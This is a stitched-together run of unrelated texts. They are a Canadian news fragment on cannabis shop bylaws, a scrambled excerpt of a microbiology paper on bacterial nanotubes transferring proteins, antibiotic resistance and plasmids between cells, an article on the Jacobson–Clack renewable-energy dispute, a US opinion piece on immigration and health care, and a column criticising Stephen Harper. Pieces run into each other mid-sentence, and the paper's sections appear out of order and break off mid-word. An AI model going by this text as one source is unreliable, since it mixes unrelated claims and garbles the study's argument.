In Victoria, local politicians passed a similar bylaw on the basis that their rules can eventually be adapted to any framework regulating the storefront sale of the drug. But city hall there was only allowed to charge pot shops a business-licensing fee of $5,000 because B.C.'s provincial Community Charter stipulates such fees can only be levied to cover costs. Vancouver is governed by its own charter, which allows for higher licensing fees.
Alberta Premier Rachel Notley said she was surprised by the recent federal proposal to levy an excise tax on recreational marijuana once it becomes legal next July, with the provinces and territories receiving just half the revenue. The federal Liberal government has earmarked just over $274-million to support policing and border efforts associated with legalized pot, with some of the money to be made available to the provinces.
- With a report from Justine Hunter in VictoriaBacteria are known to communicate primarily via secreted extracellular factors. Here we identify a previously uncharacterized type of bacterial communication mediated by nanotubes that bridge neighboring cells. Using Bacillus subtilis as a model organism, we visualized transfer of cytoplasmic fluorescent molecules between adjacent cells. Additionally, by coculturing strains harboring different antibiotic resistance genes, we demonstrated that molecular exchange enables cells to transiently acquire nonhereditary resistance. Furthermore, nonconjugative plasmids could be transferred from one cell to another, thereby conferring hereditary features to recipient cells. Electron microscopy revealed the existence of variously sized tubular extensions bridging neighboring cells, serving as a route for exchange of intracellular molecules. These nanotubes also formed in an interspecies manner, between B. subtilis and Staphylococcus aureus, and even between B. subtilis and the evolutionary distant bacterium Escherichia coli. We propose that nanotubes represent a major form of bacterial communication in nature, providing a network for exchange of cellular molecules within and between species.
Tubular conduits between cells that allow exchange of cellular content are typical of multicellular organisms. In plants, neighboring cells are connected by cytoplasmic tubes called plasmodesmata, which provide multiple routes for intercellular transfer of nutrients, signals, proteins and transcripts (). In mammalian cells, intercellular communication is mediated locally through gap junctions and synapses; however, recent reports demonstrate the existence of a network of intercellular membrane nanotubes enabling long-distance communication. These tunneling nanotubes have been shown to facilitate intercellular transfer of cytoplasmic molecules and even organelles and viruses (). Here we report the identification of analogous nanotubular channels formed among bacterial cells grown on solid surface. We demonstrate that nanotubes connect bacteria of the same and different species, thereby providing an effective conduit for exchange of intracellular content.
An additional type of molecular exchange that involves physical interactions between neighboring bacterial cells is conjugation (). During this process DNA is transferred from a donor to a recipient through a pilus, a tube-like structure that physically connects the participating cells (). Notably, conjugation represents a key mechanism of horizontal gene transfer in nature (), whereby hereditary genetic information, rather than nonhereditary molecular signal, is delivered.
Secretion and detection of small extracellular molecules to the surrounding environment is not the only form of molecular exchange between bacteria. Many Gram-negative bacteria trade information by packaging molecules into extracellular membrane vesicles (MVs). These MVs can travel and fuse with distal cells, thus providing a secure mode for delivering various cellular moieties, including QS molecules, antimicrobial factors, toxins, and DNA (). Furthermore, in some cases neighboring daughter cells have been found to exchange molecular information by establishing intimate cytoplasmic connections. In cyanobacteria, for example, the movement of small molecules (e.g; sugars and amino acids) within a filament was shown to be mediated by intercellular channels. This cytoplasmic sharing enables vital cooperative behavior between nitrogen fixing heterocysts and photosynthetic nurturing cells ().
Multicellular activity is achieved by the ability of group members to exchange information in order to synchronize their behavior. Importantly, bacteria are not limited to communicate within their own species but are also capable of sending and receiving messages in an interspecies manner. In both Gram-positive and -negative bacteria, cell-to-cell exchange of information is mediated primarily by signaling molecules belonging to the general classes of low molecular weight autoinducers and signaling oligopeptides (). In a process known as quorum sensing (QS), the production and detection of these signaling molecules is employed by bacteria to monitor population density and modulate gene expression accordingly ().
Bacteria in nature display complex multicellular behaviors that enable them to execute sophisticated tasks such as antibiotic production, secretion of virulence factors, bioluminescence, sporulation, and competence for DNA uptake (). Such social activities ultimately benefit the population and are unproductive if performed by a single bacterium. Furthermore, nearly all bacteria are capable of forming a resilient multicellular structure, termed biofilm, comprising cells with different functionalities. Natural biofilms are typically composed of several bacterial species and therefore demand a coordinated gene expression of the various inhabitants ().
(D) S. aureus (MRSA) and E. coli (MG1655) cells were grown to midexponential phase. Grown cells were mixed (1:1 ratio), plated on LB agar, incubated for 6 hr at 37°C, and visualized by HR-SEM (×75,000). An arrow indicates interspecies tubes connecting two neighboring cells. The scale bar represents 250 nm.
(B and C) B. subtilis (PY79) and E. coli (MG1655) cells were grown to midexponential phase. Grown cells were mixed (1:1 ratio), plated on LB agar, incubated for 6 hr at 37°C, and visualized by HR-SEM (see Experimental Procedures ). (B) A typical field of the mixed population (×100,000) is shown. The red circle highlights nanotubes between neighboring B. subtilis and E. coli cells. (C) A higher-magnification image (×400,000) of the circled region in (B). Based on texture similarity, the green arrow denotes a thick nanotube emanating from the B. subtilis cell and the blue arrow indicates a thinner nanotube emanating from the E. coli cell. The scale bars represent 500 nm (B) and 200 nm (C).
(A) Exponentially growing cells of B. subtilis SB444 (gfp+) and E. coli (MG1655) (gfp−) strains were mixed (1:1 ratio), plated on an LB agarose pad, and incubated in a temperature controlled chamber at 37°C. Cells were visualized by time-lapse fluorescence microscopy, and images of phase contrast (blue) and fluorescence (green) were collected at 10 min intervals. Select overlay (a–c) and GFP (a′–c′) images are shown from the following time points: (a and a′) t0 min (b and b′), t30 min, and (c and c′) t50 min. The scale bar represents 1 μm.
Finally, we addressed whether cytoplasmic molecules can be traded between evolutionary distant Gram-positive and -negative bacteria. We therefore tested the capability of B. subtilis cells to transfer cytoplasmic molecules to the Gram-negative bacterium Escherichia coli. When B. subtilis (gfp+) cells were cultured alongside E. coli (gfp−) cells, a pronounced fluorescence gradient developed in a temporal manner ( Figure 7 A and Figure S3 Bc). Accordingly, interspecies nanotubes directly bridging neighboring B. subtilis and E. coli cells were evident by HR-SEM ( Figures 7 B and 7C). In general, the nanotubes formed by E. coli cells appeared significantly thinner than those formed by B. subtilis or S. aureus, suggesting that Gram-positive and -negative bacteria form somewhat different types of nanotubes. HR-SEM also clearly revealed the presence of nanotubes formed between S. aureus and E. coli ( Figure 7 D) demonstrating the ubiquitous nature of this phenomenon.
Examining a field of cocultured cells by HR-SEM revealed visible intercellular bridges among the cells of each species, but, more importantly, clear protrusions were formed between species ( Figure 6 B). Visualizing the intercellular nanotubes formed between S. aureus cells in high resolution revealed morphology and dimensions similar to the large tubes formed by B. subtilis cells ( Figure 6 C). The interspecies B. subtilis-S. aureus connections also displayed morphology resembling that of B. subtilis nanotubes ( Figure 6 D and Figure S4 H). We infer that Gram-positive bacteria can trade cellular information within and between species by a path comprising of the intercellular connections.
(B–D) B. subtilis (PY79) and S. aureus (MRSA) cells were grown to midexponential phase. Grown cells were mixed (1:1 ratio), plated on LB agar, incubated for 6 hr at 37°C, and visualized by HR-SEM (see Experimental Procedures ). (B) A typical field of the mixed population (×12,000). Blue arrows indicate visible intercellular nanotubes between S. aureus cells, whereas green arrows point to interspecies B. subtilis and S. aureus connecting tubes. (C) A high-magnification image (×50,000) of a nanotube connecting two S. aureus cells. (D) A high-magnification image (×50,000) of an interspecies nanotube connecting S. aureus and B. subtilis cells. The scale bars represent 5 μm (B) and 0.25 μm (C and D).
(A) Exponentially growing cells of B. subtilis SB444 (gfp+) and S. aureus (MRSA) (gfp−) strains were mixed (1:1 ratio), plated on an LB agarose pad, and incubated in a temperature controlled chamber at 37°C. Cells were visualized by time-lapse fluorescence microscopy, and images of phase contrast (blue) and fluorescence (green) were collected at 10 min intervals. Select overlay (a–c) and GFP (a′–c′) images are shown from the following time points: (a and a′) t0 min (b and b′) t30 min and (c and c′) t50 min. The scale bar represents 1 μm.
To broaden our investigation, we examined whether the exchange of cytoplasmic molecules and the formation of intercellular nanotubes occur between species. First, we investigated the ability of B. subtilis cells to transfer cytoplasmic molecules to the Gram-positive coccus, Staphylococcus aureus. B. subtilis (gfp+) and S. aureus (gfp−) cells were cocultured and followed by time-lapse fluorescence microscopy. Remarkably, at t30 min, a significant fluorescence signal was acquired by the S. aureus cells in a manner proportional to their distance from the gfp+ bacilli cells ( Figure 6 A). This phenomenon was reinforced after 50 min of coincubation ( Figure 6 A and Figure S3 Bb). We surmise that molecular transfer can take place between two distinct species of Gram-positive bacteria that reside in proximity.
We exploited the antibiotic resistance assay to screen for bacterial genes that influence nanotube formation. Specifically, we analyzed an array of mutants in cell division, cell shape and membrane metabolism for their capacity to exchange antibiotic resistance ( Table S1 ). However, none of the tested mutants significantly reduced the antibiotic resistance of the mixed population. It is possible that nanotube production is induced by several overlapping mechanisms involving different gene families in a cooperative manner.
To examine the SDS sensitivity of nanotubes, cells grown in the presence of SDS were visualized with HR-SEM. Indeed, when we observed cells growing at 0.007% SDS, a concentration in which acquiring antibiotic resistance was clearly decreased ( Figure S7 A), only few intercellular nanotubes could be discerned ( Figure S7 C). However, prominent nanotubes were evident in untreated cells ( Figure S7 D). These SDS experiments indicate that nanotubes are composed of membrane components and further correlate the integrity of nanotubes with the exchange of antibiotic resistance among neighbors.
(D) PY79 cells were grown to midexponential phase as in (C) in the absence of SDS and visualized by HR-SEM. Shown is a typical field of cells whereby a network of intercellular connecting nanotubes is evident (×10,000). The scale bar represents 5 μm.
(C) Wild-type PY79 cells were grown to midexponential phase, plated on LB agar containing 0.007% SDS, incubated for 6 hr at 37°C and visualized by HR-SEM (see Experimental Procedures). Shown is a typical field of cells evidently lacking visible nanotubes (×10,000). The scale bar represents 2 μm. In general, cells grown in the presence of SDS appeared in long chains and frequently failed to stick to the EM grids properly. This made it difficult to visualize cells growing at higher SDS concentrations.
(B) P1 and P2 strains were grown to midexponential phase and spotted in serial dilutions (3 −6 -3 −10 ) on LB agar containing SDS at the indicated concentrations. To rule out the possibility that SDS increases antibiotic sensitivity, plates were supplemented with Cm for P1 and Kan for P2. Cells were photographed after O/N. In general, cells spotted on SDS containing plates spread more in diameter than cells spotted on plates without SDS. On high SDS concentrations cell growth was delayed; however, as evidence here, the viability was not significantly reduced.
(A) An antibiotic assay examining the transfer of Cat protein under different SDS concentrations. Left: equal numbers of cells from PY79 (WT), SB463 (amyE::Phyper-spank-cat-spec) (P1: Cm R ) and SB513 (amyE::Phyper-spank-gfp-kan) (P2: Kan R ) strains were spotted separately on LB agar plates containing the indicated amounts of SDS. In parallel, equal numbers of mixed P1 and P2 cells (1:1) were spotted similarly. Spotted cells were grown for 4 hr at 37°C. Right: grown cells were replica plated onto the indicated plates supplemented with SDS. Plates were incubated O/N at 37°C.
Next, we asked if, similar to their eukaryotic counterparts and as indicated by our TEM analysis, bacterial nanotubes are indeed composed of membrane constituents ( Figure S5 ). To explore this possibility, we examined nanotubes sensitivity to the membrane detergent sodium dodecyl sulfate (SDS). Initially, we tested whether SDS influences the phenomenon of acquiring nonhereditary antibiotic resistance from neighboring cells. Hence, cocultured P1 (Cm) and P2 (Kan) cells were spotted onto LB plates containing different concentrations of SDS, and their ability to grow on Cm+Kan plates was assayed by replica plating. An inverse correlation was observed between growth of the mixed cells on the Cm+Kan plate and SDS concentration ( Figure S7 A). Importantly, at a concentration of 0.009% SDS, the ability of the cells to grow on the Cm+Kan selective plate was abolished, yet their viability was not significantly affected ( Figure S7 B). These results show that SDS prevents acquisition of antibiotic resistance from nearby cells, suggesting bacterial nanotubes are SDS sensitive.
We conclude that when grown on solid surface, B. subtilis cells are able to exchange nonconjugative plasmids. Unlike conjugation, which is induced by genes carried on conjugative plasmids, intercellular nanotubes may provide a constitutive path for reciprocal genetic exchange in nature without the need for a donor or a recipient strain.
To substantiate that the plasmid was not delivered to recipient cells by transformation, P2 cells were incubated with an excess amount of exogenous pHB201 DNA. Exogenous addition of plasmid DNA was unable to allow growth of P2 cells on the Cm+Kan plate, indicating that transformation is not the mechanism for plasmid exchange under our experimental conditions ( Figure 5 B). Furthermore, plasmid transfer was DNaseI resistant (see Extended Experimental Procedures and data not shown), implying that the transferred DNA is protected during passage from one cell to another by nanotubes that serve as a delivery vehicle. Similarly, DNaseI resistance was found to be a characteristic of conjugative plasmids passing through the protective conjugative tube (). Measuring the frequency of pHB201 transfer revealed a value of 10/colony forming unit (CFU) (see Extended Experimental Procedures ). In comparison, examining the transfer of a bona fide conjugative plasmid (pLS20) revealed a transfer frequency that was 1000 fold higher than pHB201 (10/CFU), similar to the frequencies reported previously ().
(B) An antibiotic assay demonstrating that the plasmid is not transmitted by transformation. Left: (1) A mixture of GD110 (amyE::Phyper-spank-cat-spec, pHB201/cat, erm) (Cm R, Spec R, Erm R ) and SB513 (amyE::Phyper-spank-gfp-kan) (Kan R ) cells. (2–3) SB513 cells. Spotted cells were grown for 4 hr at 37°C in the presence or the absence of exogenous pHB201 DNA (100 ng of DNA/μl spotted cells) as indicated. Right: Grown cells were replica plated onto the indicated plates and incubated O/N at 37°C.
(A) An antibiotic assay examining the transfer of plasmids between B. subtilis cells. Left: Equal numbers of cells from P1 (SB463: amyE::Phyper-spank-cat-spec) (Cm R, Spec R ), P1′ (GD110: amyE::Phyper-spank-cat-spec, pHB201/cat, erm) (Cm R, Spec R, Mls R ), and P2 (SB513: amyE::Phyper-spank-gfp-kan) (Kan R ) strains were spotted separately on LB agar. In parallel, equal numbers of mixed P1+P2 (1:1) and mixed P1′+P2 (1:1) cells were spotted similarly. Cells were grown for 4 hr at 37°C. Right: Grown cells were replica plated onto the indicated plates (first-replica plating), and plates were incubated O/N at 37°C. Lower: To analyze the genotype of the cells growing on Cm+Kan antibiotic plate (highlighted with a green frame) cells were re-replica plated onto the indicated plates (second-replica plating). The plate labeled with an asterisk contains Cm+Kan+Mls. Plates were incubated O/N at 37°C.
Given that nonhereditary features can be traded between nearby cells, we explored whether genetic information carried by an extrachromosomal plasmid can also be exchanged. To examine this possibility, we transformed B. subtilis strain P1 (SB463: amyE::Phyper-spank-cat-spec) (Cm, Spec) with a nonintegrative vector pHB201 (6.6 kb ∼4.35 MDa; cat, erm) (Cm, Mls) (). The resultant strain P1′ (GD110) was consequently Cm, Spec, and Mls(Mls is a mixture of Erm and Lin, both can be neutralized by erm). Next, P1 and P1′ were spotted separately or in a mixture with P2 strain (SB513: amyE::Phyper-spank-gfp-kan) (Kan, GFP+) on a nonselective plate, grown for 4 hr, and the antibiotic resistance of these populations was tested ( Figure 5 A). Consistent with previous results, only cells within the mixed cultures (P1+P2 or P1′+P2) were able to grow on a plate containing both Cm and Kan ( Figure 5 A, first-replica plating). To distinguish exchange of nonhereditary molecules from plasmid delivery, we examined whether the observed dual resistance was heritable. Accordingly, cells growing on Cm+Kan were re-replica plated onto respective antibiotic plates to determine their genotype ( Figure 5 A, second-replica plating). In line with the data described above, cells from the P1+P2 mixture did not resume growth on the Cm+Kan plate but were able to grow on the Kan plate, implying that their dual resistance was a transient nonhereditary feature exhibited by recipient P2 cells. In contrast, a substantial fraction of the P1′+P2 population grew on the Cm+Kan plate and also on a plate containing Cm+Kan+Mls ( Figure 5 A, asterisk). The emergence of cells carrying Kan, Cm, and Mls resistances suggests that the plasmid pHB201 (Cm, Mls) was transferred from the donor P1′ (Kan) strain to the recipient P2 (Kan) strain. Indeed, these multiply resistant cells were all Specand GFP+, supporting the view that P2 (Spec, GFP+) rather than P1′ (Spec, GFP−) cells survived ( Figure 5 A, second-replica plating; data not shown). Finally, pHB201 could be extracted from the multiply resistant cells confirming that their phenotype was not a consequence of genetic mutations but derived from receipt of the extrachromosomal plasmid (data not shown).
Taken together, we conclude that the transient doubly resistant phenotype is a nonhereditary feature, and the resulting survivors are affected by the mechanism of antibiotic action.
Both Cm and Lin are bacteriostatic antibiotics that impede growth but do not instantly kill bacterial cells. On the other hand, bactericidal antibiotics kill bacteria rapidly, and thus necessitate constant protection by the resistance protein. Therefore, it remained possible that the dual resistance obtained by the mixed population would be affected if one of the participants harbors a gene imparting resistance to a bactericidal antibiotic. To examine this premise, we cocultured P1 strain (Cm) with P3 strain harboring chromosomally encoded resistance to the bactericidal antibiotic Kanamycin (Kan) and repeated the above assay ( Figure 4 C). In line with previous results, only cells in the mixed population were able to grow on the antibiotic plate containing both Cm and Kan ( Figure 4 C). Genotypic analysis of the surviving cells revealed that they were exclusively KanCm, implying that the P3 cells carrying the bactericidal antibiotic resistance gene survived ( Figure S6 B). Expanding this genotypic examination to thousands of colonies revealed that Cmcells (P1) survive rarely (∼1:700) under these conditions. This assay enables delineation between “donor” (Cm) and “recipient” (Kan) strains, providing an approach to follow the directionality of molecular exchange. To further confirm that the doubly resistant P3 cells indeed acquired Cat molecules from their neighbors, we carried out immunofluorescence microscopy with anti-Cat antibodies to detect the presence of Cat protein molecules within their cytoplasm (see Extended Experimental Procedures ). Consistent with our assumption, a clear fluorescent signal was detected from P3 cells grown in the mixture but was evidently absent from unmixed P3 cells ( Figure S6 C).
(C) Equal numbers of cells from P1 (SB463: amyE::Phyper-spank-cat-spec) (Cm) and P3 (SB513: amyE::Phyper-spank-gfp-kan) (Kan, GFP+) were spotted separately on LB agar. In parallel, equal numbers of mixed P1 and P3 cells were spotted similarly. Spotted cells were grown for 6 hr at 37°C. Grown cells were replica plated onto selective plates and finally onto LB as described in Figure 4 C. Replica plated P1 cells (grown on Cm plate), P3 cells (grown on Kan plate), and P1+P3 cells (grown on Cm+Kan plate), were scratched from the plates and subjected to immunofluorescence microscopy with anti-Cat antibodies (see Extended Experimental Procedures ). Left: Signal from anti-Cat antibodies (red), Middle: Signal from GFP (green), Right: Overlay of red and green signals with a phase contrast image (blue). Fluorescence images have been normalized to a similar intensity range. The scale bar represents 1 μm.
(B) An antibiotic assay examining the exchange of Cat and Kan resistance proteins (and possibly transcripts) between two different B. subtilis strains (see Figure 4 C). a: To analyze the genotype of the colonies growing on the Cm+Kan antibiotic plate shown in Figure 4 C, doubly resistant cells were streaked on LB plates and allowed to grow O/N. b: Single colonies were picked, streaked on LB plates and allowed to grow O/N. Parental strains (P1 and P3) were streaked as controls. c: The genotype of grown streaks was tested by replica plating onto Cm and Kan selective plates.
(A) An antibiotic assay examining the exchange of Cat and Erm proteins (and possibly transcripts) between two different B. subtilis strains (see Figure 4 B). a: To analyze the genotype of the colonies growing on the Cm+Lin antibiotic plate shown in Figure 4 B, doubly resistant cells were streaked on LB plates and allowed to grow O/N. b: Single colonies were picked, streaked on LB plates and allowed to grow O/N. Parental strains (P1 and P2) were streaked as controls. c: The genotype of the single colonies was tested by replica plating onto Cm and Lin selective plates.
To test this prediction, we examined the exchange of chloramphenicol acetyltransferase (Cat) and erythromycin resistance methylase (Erm) between two different B. subtilis strains. The Cat protein confers resistance to chloramphenicol (Cm) and the Erm protein confers resistance to lincomycin (Lin). Strains harboring chromosomally encoded resistance to Cm (P1: Cm) or Lin (P2: Lin) were spotted separately or in a mixture onto LB agar plate and incubated for 4 hr in the absence of any antibiotic selection. Next, the ability of the strains to grow on selective plates containing Cm, Lin, or both was examined by replica plating ( Figure 4 B) in order to maintain the spatial arrangement of the cells. Strikingly, the mixed population of P1 and P2 cells was able to survive on the antibiotic plate containing both Cm and Lin ( Figure 4 B). To explore the genotype of the survivors, cells growing on the Cm+Lin plate were streaked onto a nonselective LB plate. Then individual colonies from the streak were picked, grown as stripes on LB plates, and their genotype was determined by replica plating onto Cm and Lin plates ( Figure S6 A). Each tested colony exhibited either Cmor Lin, but not both, indicating that the surviving cells have not acquired a doubly resistant genotype. Summarily, we infer that nearby cells can exchange cytoplasmic molecules and gain transient nonhereditary phenotypes.
(C) An antibiotic assay examining the exchange of Cat and Kan resistance proteins (and possibly transcripts) between two different B. subtilis strains. Left: Equal numbers of cells from PY79 (WT), SB463 (amyE::Phyper-spank-cat-spec) (P1: Cm R ), and SB513 (amyE::Phyper-spank-gfp-kan) (P3: Kan R ) strains were spotted separately on LB agar. In parallel, equal numbers of mixed P1 and P3 cells (1:1) were spotted similarly. Spotted cells were grown for 4 hr at 37°C. Right: Grown cells were replica plated onto the indicated selective plates and finally onto LB. Plates were incubated O/N at 37°C.
(B) An antibiotic assay examining the exchange of Cat and Erm proteins (and possibly transcripts) between two different B. subtilis strains. Left: Equal numbers of cells from PY79 (WT), SB463 (amyE::Phyper-spank-cat-spec) (P1: Cm R ), and GD57 (amyE::Phyper-spank-erm-spec) (P2: Lin R ) strains were spotted separately on LB agar. In parallel, equal numbers of mixed P1 and P2 cells (1:1) were spotted similarly. Cells were grown for 4 hr at 37°C. Right: Grown cells were replica plated onto the indicated selective plates and finally onto LB. Plates were incubated O/N at 37°C.
(A) A schematic model for the transient gain of nonhereditary phenotypes via intercellular nanotubes. Shown on the left are two B. subtilis cells, each harboring a different antibiotic resistance gene, providing Cm R or Lin R. Genes (colored stripes) are depicted on the chromosomes (olive lines) with colored circles and colored combs indicating their respective proteins and transcripts. Shown on the right is the gain of antibiotic resistance by proteins and transcripts passing through intercellular nanotubes in a mixed population. Molecular transfer through the connecting tubes yields a population of cells temporarily resistant to both antibiotics in a nonhereditary fashion.
Having established the existence of intercellular nanotube networks, we sought to explore their capability to generate new phenotypes. We anticipated that when two strains, each harboring a different antibiotic resistance gene, are grown together, the exchange of cytoplasmic molecules (proteins and possibly transcripts) through the tubes could yield a population of cells temporarily resistant to both antibiotics in a nonhereditary fashion ( Figure 4 A).
To demonstrate that nanotubes indeed serve as a route for trading cytoplasmic molecules, we carried out immunoelectron microscopy (immuno-EM). gfp+ and gfp− cells were mixed and grown on solid medium. Next, cells were gently fixed, sectioned, incubated with anti-GFP antibodies and then immunostained with gold-conjugated secondary antibodies (see Extended Experimental Procedures ). Remarkably, the gold particles could be visualized within nanotubes connecting neighboring cells ( Figures 3 E–3G), corroborating that indeed intercellular nanotubes serve as a path for molecular exchange. In many images, a GFP gradient was observed whereby a GFP-producing cell containing multiple gold particles was connected to an adjacent cell containing few gold particles ( Figure 3 E), resembling the phenomenon observed by time-lapse microscopy ( Figure 1 C). Importantly, when only gfp− cells were similarly processed, no significant gold signal was detected (data not shown).
In an alternative approach, intercellular connections were visualized with transmission electron microscopy (TEM), where cells were imaged without employing any contrasting agent (see Extended Experimental Procedures ). Consistent with the HR-SEM images, a network of pronounced nanotubes tying one cell to another was readily visible ( Figure S5 A). Interestingly, higher-magnification analysis of a typical tube appears to indicate a structure comprising outer and inner layers, hinting at a multilayered structure ( Figures S5 B–S5D). Moreover, thin section analysis suggests that the tubes contain cell wall material, membrane and cytoplasmic content ( Figures S5 E and S5F).
Tube dimension appears to vary with the distance between connected cells. Generally, tube length ranged up to 1 μm, whereas width ranged approximately from 30 to 130 nm (e.g., Figures S4 E and S4F). The relatively large size of the tubes concords with our assumption that they could easily accommodate the passage of proteins such as GFP (approximately 40 Å; []) and even larger cytoplasmic molecules. Closer investigation of the HR-SEM images revealed that beside the large nanotubes, an additional type of smaller nanotubes was visible, though more challenging to detect ( Figure 3 D). These smaller tubes tended to be clustered connecting nearby cells intimately, appearing to actually “stitch” one cell to another. We speculate that these smaller nanotubes are more ubiquitous than the larger ones and are capable of traversing small molecules.
(G) An additional example of an immuno-EM section, showing the localization of a GFP molecule within a tube, as indicated by an arrow. The scale bar represents 200 nm.
(E) An immuno-EM section of cocultured PY79 (gfp−) and SB444 (gfp+) cells, stained with anti-GFP and secondary gold-con |
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Jacobson stressed in an interview that the technology itself works and can grow.
"When something is so simple, and it's cheap already, it has tons of potential to be commercialized and used on a large scale, particularly in new communities," he said.
The phase-change materials he pairs with CSP, similarly, have not passed from demonstration phase to commercial deployment; that technology is meant to carry the brunt of the electrical (as opposed to the thermal) storage in this system.
Along with the risks inherent in relying on new technologies that haven't scaled to mass distribution, this also delays the timeline for implementation.
"Thirty-three years away in terms of energy isn't very long for installing things," Clack said. "We need to be installing things today, and we need to be installing things today that we know will be around for a decent amount of time."
Wind and solar are getting deployed all the time, but there's no clear pathway for converting most American buildings to underground thermal storage. That requires a massive supply chain, and companies that are ready to sell and install the devices.
No optimization
The Clack paper critiques too many other aspects of the Jacobson model to include them all here. (One notable contender: In calculating lifecycle greenhouse gas and mortality emissions for civilian nuclear energy, Jacobson factors in the effects of nuclear war, which is assumed to occur on a regular 30-year cycle.)
It's worth reiterating, though, that Jacobson's renewable roadmap is not, nor does it claim to be, an optimization study.
It did not survey all the options and select the best portfolio on the basis of speed, cost or some other metric. It runs a program to balance energy supply with demand every 30 seconds for a given configuration of renewable and storage assets. As Jacobson writes in his rebuttal, "It is a trial and error model."
He came to this after growing frustrated with the limitations of optimization models. Those models took a long time and couldn't include all the details he wanted to include.
"It's not a least-cost solution that we’ve come up with; it’s a low-cost solution," he said. "Our low-cost solutions are lower than the current grid costs."
This may be useful in signaling to the world that the math checks out; renewables and storage can be deployed at levels that, on paper, meet the total energy needs of the U.S. But it does not show that this is the best path. That's concerning to researchers like Clack.
"If you have these goals and you don't achieve them, there tends to be a very strong backlash," Clack said.
That backlash could come from a state legally enforcing the Jacobson plan, only to discover real-world technologies can't make it work. Additionally, it could limit the pursuit of other energy technologies that are important for decarbonization.
The passion behind the arguments illustrates how high the stakes have become. There's limited time left to chart a low-carbon energy pathway. The 21 authors countering Jacobson want to make sure we're paying close attention to the details.I’m not sure it’s fully appreciated just how dangerous a political game House Republicans are playing on immigration right now. Far right Republicans in the House are not just at risk of taking the blame for killing immigration reform. It’s potentially worse than that: They are at risk of taking the blame for killing the immigration overhaul over health care reform, something that is broadly popular among Latinos.
Consider what is happening with the negotiations among the House “Gang of Eight” over their own immigration plan right now. Here’s what we know: GOP Rep. Raul Labrador, a key voice in the House on immigration, walked away from the House Gang of Eight talks last night because of differences over health care. In the statement Labrador released last night, his office said he could no longer support the emerging House compromise unless it required “that illegal immigrants would be responsible for their own health care costs, principally through requiring them to purchase health insurance.”
A source close to the talks tells me that Labrador wanted undocumented immigrants who don’t cover their own health care costs to face deportation. What this would appear to mean, in effect, is that any undocumented immigrant might face a choice between not seeking, say, emergency room care (which would ultimately be covered by government) and potential deportation. (A Labrador spokesman didn’t immediately comment.)
What that source tells me isn’t all that far off of a recent Los Angeles Times report, which said Republicans were balking at the House Gang of Eight talks because they wanted those on the pathway to citizenship who don’t purchase their own health coverage to face deportation. Dems have denounced this as too harsh, since many of them might be unable to afford their own coverage.
To be fair, Republicans dodged a bullet here in the last 24 hours, because the House “Gang of Eight” agreed to proceed with their talks without Labrador. And the word right now is that the House compromise language is beginning to resemble that in the Senate compromise, which prohibits those on the path to citizenship from getting subsidies to participate in Obamacare exchanges but won’t punish those who seek emergency care with deportation.
Still, the concerns Labrador apparently walked out over illustrate just how far to the right some in the GOP caucus are on immigration. Indeed, it comes after House Republicans voted today in overwhelming numbers to approve an amendment — put forward by diehard anti-immigration reform dead-ender Steve King — that would take away the funding that gives the Obama administration flexibility to stop the deportation of the DREAMers, as opposed to those convicted of crimes.
As the House Hispanic Caucus put it: “House Republicans just voted to treat DREAMers and undocumented spouses of servicemembers in the same way as violent criminals.”
All of this illustrates the depth of hostility among House Republicans towards immigration reform. And the health care angle adds another dimension, one that underscores that Republicans are seriously at risk of setting back their efforts to repair relations with Latinos even further. After all, Mitt Romney recently diagnosed his own 2012 loss by flatly admitting that his campaign had underestimated the appeal Obamacare has for minorities. Now Republicans are at risk not just of killing immigration reform, but of killing it in part because of their hostility towards Obamacare. As Labrador himself put it yesterday:
“What might be the story at the end of this year, at the end of this session, is that Obamacare killed immigration reform.”
That doesn’t seem like a particularly good “story” for Republicans, does it?The Globe and Mail is hosting a debate on the economy among the leaders of the three main political parties on Thursday at 8 pm (ET). Click here for more details.
Gerald Caplan is an Africa scholar, a former NDP national director and a regular panelist on CBC's Power & Politics.
God knows he's tried his best. Stephen Harper always said he intended to change the face of Canada if he could. He'd turn us from peacekeepers into warriors. But now we know he couldn't.
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That doesn't mean he hasn't done inordinate damage in 100 different ways, much of it very serious. It will take years for other governments to reverse the harm.
I've mentioned in this space any number of books and reports comprehensively documenting the malevolence that marked Mr. Harper's decade as Prime Minister, not least his attacks on democratic procedures. I want to add here Michael Harris's revised paperback edition of his scathing exposé, Party of One: Stephen Harper and Canada's Radical Makeover. Mr. Harris is travelling the country promoting his book while giving fact-packed talks about the Harper record that entertain, educate and, ultimately, infuriate his audiences.
In his speeches, Mr. Harris shares a cornucopia of information and analysis from his book, truly an embarrassment of perverse riches. It seems, among other things, that just about all those whom the Prime Minister has thrown under his bus, and they are legion, have then marched into Mr. Harris's Ottawa apartment and poured out their shocking stories of abuse by the Prime Minister. I guarantee that when you're finished reading, or listening to, Michael Harris, you will be afraid, very afraid, because of what Stephen Harper has done to Canada. Or at least tried to do.
For there's some very good news as well. The Prime Minister has largely failed to eliminate what's best in Canadians, our fundamental values, our decency, although it's taken an international crisis to reveal this. Immediately after a drowned Syrian boy turned the refugee crisis into a Canadian election issue, Mr. Harper responded as only he would. Of course he and his family felt terrible about Alan Kurdi's death, I have no doubt. But not so terrible the PM wasn't prepared, predictably enough, to use little Alan as a political weapon, a divisive wedge issue against the NDP and Liberals. Mr. Harper made clear that he wasn't going to move rashly to allow many new Syrian refugees into Canada if that opened the door to Islamic terrorists slipping in among the new arrivals. So quite typically, poor Alan Kurdi became the door through which Stephen Harper contrived to introduce violent Muslim jihadists into the election campaign to terrify Canadians.
The Prime Minister clearly thought he could bring most Canadians along with him in his continued strategy of fear-mongering. But he failed entirely to conjure with the Canadian instinct to help in a crisis, even if it's sometimes a gamble. That's the caring, sharing sentiment long embraced by Canadians and held in contempt by the Harper government.
Canadians have made this choice before many times, and know that the gamble always paid off. Who among us really knew what we were getting when we opened our doors to the Hungarians or the Vietnamese or the Ismailis or the Chileans in the past half-century? Who knew what hidden dangers lurked in the midst of those tens of thousands of new Canadians-to-be? It didn't matter. There was a crisis. There was an urgent need. There was an obvious role for Canada, and Canada played its role honourably.
And most of us have reacted in the same way again now. That's the Harper failure. The Prime Minister warned us ad nauseam that we must move cautiously, if at all. Yet there has been a spontaneous outpouring of support for a significant, immediate Canadian contribution to this grave humanitarian crisis. It's come from across the country – from mayors, premiers, faith groups, interfaith groups, community leaders, civil-society groups, retired soldiers, Progressive Conservatives, universities, businesspeople, corporations, and most of the media.
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It appears that only the Conservative base buys the PM's position.
